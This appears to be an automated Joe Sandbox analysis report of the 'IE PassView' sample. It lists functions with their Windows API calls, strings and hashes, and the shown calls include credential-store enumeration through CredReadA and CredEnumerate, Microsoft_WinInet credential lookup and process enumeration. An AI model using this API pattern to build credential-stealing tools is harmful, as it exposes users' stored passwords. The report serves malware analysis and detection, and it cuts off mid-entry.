Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: memcpy$FreeLocalwcschr$memsetwcscpywcslenwcsncmp
String ID: Microsoft_WinInet
API String ID: 121219126-2056801976
Opcode ID: 31339bb1bfd41b7cda9937e0eb12282c12b3f69bb2134050ca348a437243ed26
Instruction ID: 740406e3f86503c8a0d7b7516b21f816cafa52995530843ae5346f6235719748
Opcode Fuzzy Hash: 31339bb1bfd41b7cda9937e0eb12282c12b3f69bb2134050ca348a437243ed26
Instruction Fuzzy Hash: FA91F8B1D002199BDF10DF94D944ADEBBB8FF08304F108576E919FB281E778AA45CB99

Function 0040C042 Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,0040C173,0040BDC4), ref: 0040C051
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 0040C06A
GetProcAddress.KERNEL32(00000000,Module32First), ref: 0040C07B
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 0040C08C
GetProcAddress.KERNEL32(00000000,Process32First), ref: 0040C09D
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 0040C0AE

Strings

CreateToolhelp32Snapshot, xrefs: 0040C064
Module32Next, xrefs: 0040C086
Process32First, xrefs: 0040C097
Module32First, xrefs: 0040C075
Process32Next, xrefs: 0040C0A8
kernel32.dll, xrefs: 0040C04C

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Module32First$Module32Next$Process32First$Process32Next$kernel32.dll
API String ID: 667068680-3953557276
Opcode ID: 1cb7c79e6c559eeea0141376727ce9c35e81f11d5fdf0e22e2ba3d11b968f958
Instruction ID: 7eeed2c357a9b3532822de87abd471f84b8860815f5170c185e05fe0bb6bf640
Opcode Fuzzy Hash: 1cb7c79e6c559eeea0141376727ce9c35e81f11d5fdf0e22e2ba3d11b968f958
Instruction Fuzzy Hash: 8FF08671521312E9C3208B65EDC0FA729A45B44B44714813BA900F22E4DBBC8903CB7D

Function 00402978 Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 41libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 004029F3: FreeLibrary.KERNEL32(?,00402980,?,00401F1F), ref: 004029FA

LoadLibraryA.KERNEL32(advapi32.dll,?,00401F1F), ref: 00402985
GetProcAddress.KERNEL32(00000000,CredReadA), ref: 0040299E
GetProcAddress.KERNEL32(?,CredFree), ref: 004029AA
GetProcAddress.KERNEL32(?,CredDeleteA), ref: 004029B6
GetProcAddress.KERNEL32(?,CredEnumerateA), ref: 004029C2
GetProcAddress.KERNEL32(?,CredEnumerateW), ref: 004029CE

Strings

CredFree, xrefs: 004029A0
CredEnumerateW, xrefs: 004029C4
advapi32.dll, xrefs: 00402980
CredReadA, xrefs: 00402998
CredDeleteA, xrefs: 004029AC
CredEnumerateA, xrefs: 004029B8

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: CredDeleteA$CredEnumerateA$CredEnumerateW$CredFree$CredReadA$advapi32.dll
API String ID: 2449869053-4258758744
Opcode ID: 06c9b524b776e8bba2dc149e1e975119917217e63118d0c7b498b9a8cd73550f
Instruction ID: 003e764b07dd5b06db3ac3cec127ba167f7bc96d71fea6526835b1c56324d332
Opcode Fuzzy Hash: 06c9b524b776e8bba2dc149e1e975119917217e63118d0c7b498b9a8cd73550f
Instruction Fuzzy Hash: 1A0104B06007009ADB706F7ADD49B07BAE0AB94700B208D3EE095B36D0D6BAA450DB99

Function 0040A15F Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 78windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000000B,00000000,00000000), ref: 0040A195

Part of subcall function 004053D7: LoadCursorA.USER32(00000000,00007F02), ref: 004053DE
Part of subcall function 004053D7: SetCursor.USER32(00000000), ref: 004053E5

SendMessageA.USER32(?,00001009,00000000,00000000), ref: 0040A1B8

Part of subcall function 0040A0CE: sprintf.MSVCRT ref: 0040A0F4
Part of subcall function 0040A0CE: sprintf.MSVCRT ref: 0040A11E
Part of subcall function 0040A0CE: _mbscat.MSVCRT ref: 0040A131
Part of subcall function 0040A0CE: SendMessageA.USER32(?,00000401,00000000,?), ref: 0040A157

SetCursor.USER32 ref: 0040A1DD
SetFocus.USER32(?), ref: 0040A1EF
SendMessageA.USER32(?,0000000B,00000001,00000000), ref: 0040A206
memset.MSVCRT ref: 0040A21B
_mbscpy.MSVCRT(?,IE PassView,?,00000000,000003FF), ref: 0040A22D
sprintf.MSVCRT ref: 0040A254
SetWindowTextA.USER32(?,?), ref: 0040A269

Strings

IE PassView, xrefs: 0040A220, 0040A22B, 0040A247
%s: %s, xrefs: 0040A24E

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: MessageSend$Cursorsprintf$FocusLoadTextWindow_mbscat_mbscpymemset
String ID: %s: %s$IE PassView
API String ID: 1200602740-2840194521
Opcode ID: f5094cf0edf700bc7def1687272bd8d92ce36bb861bbd2c298eabee37231295e
Instruction ID: 69b561ab783facfea62e5cba01b3acbb02d59bb2afa0ca916c4815844b62d3a1
Opcode Fuzzy Hash: f5094cf0edf700bc7def1687272bd8d92ce36bb861bbd2c298eabee37231295e
Instruction Fuzzy Hash: 45217F71500208AFD721AB65CC85FAA77EDFF48308F0504B9F619A72A2D6B4AD158F25

Function 00407EA8 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 69COMMON

Download Yara Rule

APIs

_mbscpy.MSVCRT(004120F0,?), ref: 00407EC0
_mbscpy.MSVCRT(004121F8,general,004120F0,?), ref: 00407ED0

Part of subcall function 00407A83: memset.MSVCRT ref: 00407AA8
Part of subcall function 00407A83: GetPrivateProfileStringA.KERNEL32(004121F8,?,0040E470,?,00001000,004120F0), ref: 00407ACC
Part of subcall function 00407A83: WritePrivateProfileStringA.KERNEL32(004121F8,?,?,004120F0), ref: 00407AE3

EnumResourceNamesA.KERNEL32(?,00000004,Function_00007CD1,00000000), ref: 00407F06
EnumResourceNamesA.KERNEL32(?,00000005,Function_00007CD1,00000000), ref: 00407F10
_mbscpy.MSVCRT(004121F8,strings), ref: 00407F18
memset.MSVCRT ref: 00407F34
LoadStringA.USER32(?,00000000,?,00001000), ref: 00407F48

Part of subcall function 00407AF1: _itoa.MSVCRT ref: 00407B12

Strings

TranslatorURL, xrefs: 00407EE6
general, xrefs: 00407EC5
strings, xrefs: 00407F12
TranslatorName, xrefs: 00407EDB

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: String_mbscpy$EnumNamesPrivateProfileResourcememset$LoadWrite_itoa
String ID: TranslatorName$TranslatorURL$general$strings
API String ID: 1035899707-3647959541
Opcode ID: 9582e2341051d6afeeacc9c98517bbee12d68174111ea14a9c12043bc1ce11b7
Instruction ID: 2cc56ae5bfb681f20954fdcfb62fedc6d740c0835c2d5c41f08e15392501c071
Opcode Fuzzy Hash: 9582e2341051d6afeeacc9c98517bbee12d68174111ea14a9c12043bc1ce11b7
Instruction Fuzzy Hash: 6E11E231E0425836D72167578C46FDF3E2CDB85754F00447AFA08B61C1D6B8A99096AD

Function 0040B423 Relevance: 18.2, APIs: 12, Instructions: 151windowCOMMON

Download Yara Rule

APIs

SetBkMode.GDI32(?,00000001), ref: 0040B49F
SetTextColor.GDI32(?,00FF0000), ref: 0040B4AD
SelectObject.GDI32(?,?), ref: 0040B4C2
DrawTextExA.USER32(?,?,000000FF,?,00000004,?), ref: 0040B4F6
SelectObject.GDI32(00000014,00000005), ref: 0040B502

Part of subcall function 0040B283: GetCursorPos.USER32(?), ref: 0040B290
Part of subcall function 0040B283: GetSubMenu.USER32(?,00000000), ref: 0040B29E
Part of subcall function 0040B283: TrackPopupMenu.USER32(00000000,00000002,?,?,00000000,?,00000000), ref: 0040B2CC

GetModuleHandleA.KERNEL32(00000000), ref: 0040B51D
LoadCursorA.USER32(00000000,00000067), ref: 0040B526
SetCursor.USER32(00000000), ref: 0040B52D
PostMessageA.USER32(?,0000041C,00000000,00000000), ref: 0040B54F
SetFocus.USER32(?), ref: 0040B58C
SetFocus.USER32(?), ref: 0040B603

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Cursor$FocusMenuObjectSelectText$ColorDrawHandleLoadMessageModeModulePopupPostTrack
String ID:
API String ID: 3230168590-0
Opcode ID: 4b215ba68ed7b2943b3bcb7948ba68023ff3924a7fe48d001ac839e9ebb3db4f
Instruction ID: 99d967e87b218d81e884191810209c469c196458d5d678120bee531a69c10094
Opcode Fuzzy Hash: 4b215ba68ed7b2943b3bcb7948ba68023ff3924a7fe48d001ac839e9ebb3db4f
Instruction Fuzzy Hash: F4518B71210205FFCB19AF65CC85AAA77A6FF08304F10057AF915BB2E1C7789D618B9E

Function 00407CD1 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 86windowCOMMON

Download Yara Rule

APIs

sprintf.MSVCRT ref: 00407CF2
LoadMenuA.USER32(?,?), ref: 00407D00

Part of subcall function 00407B29: GetMenuItemCount.USER32(?), ref: 00407B3E
Part of subcall function 00407B29: memset.MSVCRT ref: 00407B5F
Part of subcall function 00407B29: GetMenuItemInfoA.USER32 ref: 00407B9A
Part of subcall function 00407B29: strchr.MSVCRT ref: 00407BB1

DestroyMenu.USER32(00000000), ref: 00407D1E
sprintf.MSVCRT ref: 00407D62
CreateDialogParamA.USER32(?,00000000,00000000,00407CCC,00000000), ref: 00407D77
memset.MSVCRT ref: 00407D93
GetWindowTextA.USER32(00000000,?,00001000), ref: 00407DA4

Strings

caption, xrefs: 00407DB9
dialog_%d, xrefs: 00407D58
menu_%d, xrefs: 00407CE8

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Menu$Itemmemsetsprintf$CountCreateDestroyDialogInfoLoadParamTextWindowstrchr
String ID: caption$dialog_%d$menu_%d
API String ID: 3071497004-3822380221
Opcode ID: 5a66b78d936a9636a50b2df3c6b14f3a71b0e6aad9caa070ae913f33758c7392
Instruction ID: 32cde7b292886ced11312a8859e5682abc8fd63b29569244e5c63d3dce261f88
Opcode Fuzzy Hash: 5a66b78d936a9636a50b2df3c6b14f3a71b0e6aad9caa070ae913f33758c7392
Instruction Fuzzy Hash: 7621F072908148BBDB12AF51DD82EEF3B28EF04305F10447AFA05B11D1D2B86DA48B6B

Function 0040C189 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 0040C1A1
_mbscpy.MSVCRT(?,-00000001), ref: 0040C1AF

Part of subcall function 0040559B: strlen.MSVCRT ref: 004055AC
Part of subcall function 0040559B: strlen.MSVCRT ref: 004055B4
Part of subcall function 0040559B: _memicmp.MSVCRT ref: 004055CE

_mbscpy.MSVCRT(?,00000000,00000000,?,00000000,00000104,00000104), ref: 0040C1FD
_mbscat.MSVCRT ref: 0040C208
memset.MSVCRT ref: 0040C1E4

Part of subcall function 00405990: GetWindowsDirectoryA.KERNEL32(00412498,00000104,?,0040C23D,00000000,?,00000000,00000104,00000104), ref: 004059A5
Part of subcall function 00405990: _mbscpy.MSVCRT(00000000,00412498,?,0040C23D,00000000,?,00000000,00000104,00000104), ref: 004059B5

memset.MSVCRT ref: 0040C22C
memcpy.MSVCRT(?,00000000,00000002,00000000,?,00000000,00000104,00000104), ref: 0040C247
_mbscat.MSVCRT ref: 0040C252

Strings

\systemroot, xrefs: 0040C1BC

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: _mbscpy$_mbscatmemsetstrlen$DirectoryWindows_memicmpmemcpystrchr
String ID: \systemroot
API String ID: 912701516-1821301763
Opcode ID: 28e342fe43c589a554c1bdb2e0c9192c7fa84f8ecc5dbd125d1132d364fc6ec5
Instruction ID: 31fdd45b3f5b781b88274249cf185fd0dc6b0352b0ceb64147351386182b16e6
Opcode Fuzzy Hash: 28e342fe43c589a554c1bdb2e0c9192c7fa84f8ecc5dbd125d1132d364fc6ec5
Instruction Fuzzy Hash: 9B21FC75D0C304B9E724A3E54CC6FEB629C8B15718F5001BFF588B10C2EABCA989462A

Function 00404C2B Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00404C42
GetWindow.USER32(?,00000005), ref: 00404C5A
GetWindow.USER32(00000000), ref: 00404C5D

Part of subcall function 004015AB: GetWindowRect.USER32(?,?), ref: 004015BA
Part of subcall function 004015AB: MapWindowPoints.USER32(00000000,?,?,00000002), ref: 004015D5

GetWindow.USER32(00000000,00000002), ref: 00404C69
GetDlgItem.USER32(?,000003F3), ref: 00404C80
LoadLibraryA.KERNEL32(shlwapi.dll), ref: 00404C8D
GetProcAddress.KERNEL32(00000000,SHAutoComplete), ref: 00404C9B
FreeLibrary.KERNEL32(00000000), ref: 00404CAE

Strings

SHAutoComplete, xrefs: 00404C95
shlwapi.dll, xrefs: 00404C86

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Window$LibraryRect$AddressClientFreeItemLoadPointsProc
String ID: SHAutoComplete$shlwapi.dll
API String ID: 846015027-1506664499
Opcode ID: 36ec189a37b580cd799c7a60beba3737f9fbc182b0de0dcf69686658c0bb9726
Instruction ID: b61f9ae83d5cca416fac4a59b24ed0b9e7d361c88adb564d1af762a7c04d9879
Opcode Fuzzy Hash: 36ec189a37b580cd799c7a60beba3737f9fbc182b0de0dcf69686658c0bb9726
Instruction Fuzzy Hash: 2D01B5312002057FE6119B359D49FBA73ACEF85755F11083AF905B71D0DBB8DD015769

Function 004065C1 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 00402978: LoadLibraryA.KERNEL32(advapi32.dll,?,00401F1F), ref: 00402985
Part of subcall function 00402978: GetProcAddress.KERNEL32(00000000,CredReadA), ref: 0040299E
Part of subcall function 00402978: GetProcAddress.KERNEL32(?,CredFree), ref: 004029AA
Part of subcall function 00402978: GetProcAddress.KERNEL32(?,CredDeleteA), ref: 004029B6
Part of subcall function 00402978: GetProcAddress.KERNEL32(?,CredEnumerateA), ref: 004029C2
Part of subcall function 00402978: GetProcAddress.KERNEL32(?,CredEnumerateW), ref: 004029CE

wcslen.MSVCRT ref: 00406620
wcsncmp.MSVCRT ref: 00406660
memset.MSVCRT ref: 004066D5
memcpy.MSVCRT(?,?,?,?,?,?,?,00000000), ref: 004066F1
wcschr.MSVCRT ref: 0040673A
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406760

Strings

J, xrefs: 004066A6
Microsoft_WinInet, xrefs: 00406612
`$A, xrefs: 004066A1

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: AddressProc$FreeLibraryLoadLocalmemcpymemsetwcschrwcslenwcsncmp
String ID: J$Microsoft_WinInet$`$A
API String ID: 3318079752-302353289
Opcode ID: b3a9a8d235073bd91423286e9e58227929cd420a36e91ea677f96a6faedbe12a
Instruction ID: 13115e57eacac97305432b5338aa4cb26e2fe695d4be64bdc8d3037ecd813aa8
Opcode Fuzzy Hash: b3a9a8d235073bd91423286e9e58227929cd420a36e91ea677f96a6faedbe12a
Instruction Fuzzy Hash: F851F7B1D002199FDB20DFA5C9849DEBBB8FF08304F10447AE91AF7251E738AA558F55

Function 00407692 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowstringCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(?), ref: 004076A8
memset.MSVCRT ref: 004076CC
GetMenuItemInfoA.USER32(?), ref: 00407702
memset.MSVCRT ref: 0040772F
strchr.MSVCRT ref: 0040773B
_mbscat.MSVCRT ref: 00407796
ModifyMenuA.USER32(?,?,00000400,?,?), ref: 004077B2

Strings

6, xrefs: 004076F2
0, xrefs: 004076E7

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Menu$Itemmemset$CountInfoModify_mbscatstrchr
String ID: 0$6
API String ID: 3540791495-3849865405
Opcode ID: 20bfde9252d4a6a922594ac7fd5134ffd5a44a80bc224ad0560f6bf294b11654
Instruction ID: ed4fa9e8ece2ba155e03ffd584b4ec770fb82937e298684def76ac4131db59b7
Opcode Fuzzy Hash: 20bfde9252d4a6a922594ac7fd5134ffd5a44a80bc224ad0560f6bf294b11654
Instruction Fuzzy Hash: A931A072808344AFD7109F91C84099BBBE9EB84354F14493FF598A2291D375E948CF5B

Function 00407DE3 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 00405759: GetFileAttributesA.KERNELBASE(?,00403409,?,?,?,?,00000000,00402C40,?), ref: 0040575D

_mbscpy.MSVCRT(004120F0,00000000,?,00000000,00407EA2,00000000,?,00000000,00000104), ref: 00407DFD
_mbscpy.MSVCRT(004121F8,general,004120F0,00000000,?,00000000,00407EA2,00000000,?,00000000,00000104), ref: 00407E0D
GetPrivateProfileIntA.KERNEL32(004121F8,rtl,00000000,004120F0), ref: 00407E1E

Part of subcall function 004079EF: GetPrivateProfileStringA.KERNEL32(004121F8,?,0040E470,00412248,?,004120F0), ref: 00407A0A

Strings

TranslatorURL, xrefs: 00407E56
general, xrefs: 00407E02
rtl, xrefs: 00407E18
charset, xrefs: 00407E2C
TranslatorName, xrefs: 00407E42
H"A, xrefs: 00407E31

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: PrivateProfile_mbscpy$AttributesFileString
String ID: H"A$TranslatorName$TranslatorURL$charset$general$rtl
API String ID: 888011440-4106476969
Opcode ID: 20c7f670c4fbee4d165d537278dfbdf08a460d4d7532e0875e449b3bfd7cc637
Instruction ID: 66dd985f3f0e7778c3bccbbe20648230d46ea4180a27e3b7362807e5d014d099
Opcode Fuzzy Hash: 20c7f670c4fbee4d165d537278dfbdf08a460d4d7532e0875e449b3bfd7cc637
Instruction Fuzzy Hash: 58F0C231E8821232E22132279D03F6F35149B92B14F05887BB804BB2C2CAFC6830929E

Function 00403A7B Relevance: 15.2, APIs: 10, Instructions: 151COMMON

Download Yara Rule

APIs

Part of subcall function 00405476: CreateFileA.KERNELBASE(00000003,80000000,00000001,00000000,00000003,00000000,00000000,00402A1C,9+@,00000001,00000000,?,00402B39), ref: 00405488

GetFileSize.KERNEL32(00000000,00000000,000000D0,?,00000000), ref: 00403AA2
memset.MSVCRT ref: 00403ACA

Part of subcall function 00405C7E: ReadFile.KERNEL32(00000000,00000000,00402A58,00000000,00000000,00000001,9+@,00402A58,00000000,00000000), ref: 00405C95

CloseHandle.KERNEL32(00000000), ref: 00403AE3
memset.MSVCRT ref: 00403B02
memcpy.MSVCRT(?,?,00000010,?,00000000,00000027), ref: 00403B14

Part of subcall function 0040387E: memcpy.MSVCRT(?,?,00000014,?,00000040,?,?,00000014,?,?,00000040,?,?,00000014,?,?), ref: 004038FF
Part of subcall function 0040387E: memcpy.MSVCRT(00403B3A,?,00000014,?,00000040,?,?,00000014,?,?,00000000,?,?,?,?,00403B3A), ref: 00403913

memset.MSVCRT ref: 00403B64
memset.MSVCRT ref: 00403B78
memcpy.MSVCRT(?,?,00000300,?,?,?,?,?,?), ref: 00403BA4
CloseHandle.KERNEL32(00000000), ref: 00403C38
GetLastError.KERNEL32(000000D0,?,00000000), ref: 00403C4D

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: memcpymemset$File$CloseHandle$CreateErrorLastReadSize
String ID:
API String ID: 3649111710-0
Opcode ID: 1cfd8bb843ecab2d6b68f0d864492ae9e3b97d52eccb6623384a9db00f67d67f
Instruction ID: 2c401ac52e737863d5db37530eab4728646a9ac02891eb25720bab3b67295176
Opcode Fuzzy Hash: 1cfd8bb843ecab2d6b68f0d864492ae9e3b97d52eccb6623384a9db00f67d67f
Instruction Fuzzy Hash: 3B5160B280011DAFDB11EFA4CC40EEE7BBDBB05305F0045BAE659B6181D7749B498BA5

Function 00409AB3 Relevance: 15.1, APIs: 10, Instructions: 109windowCOMMON

Download Yara Rule

APIs

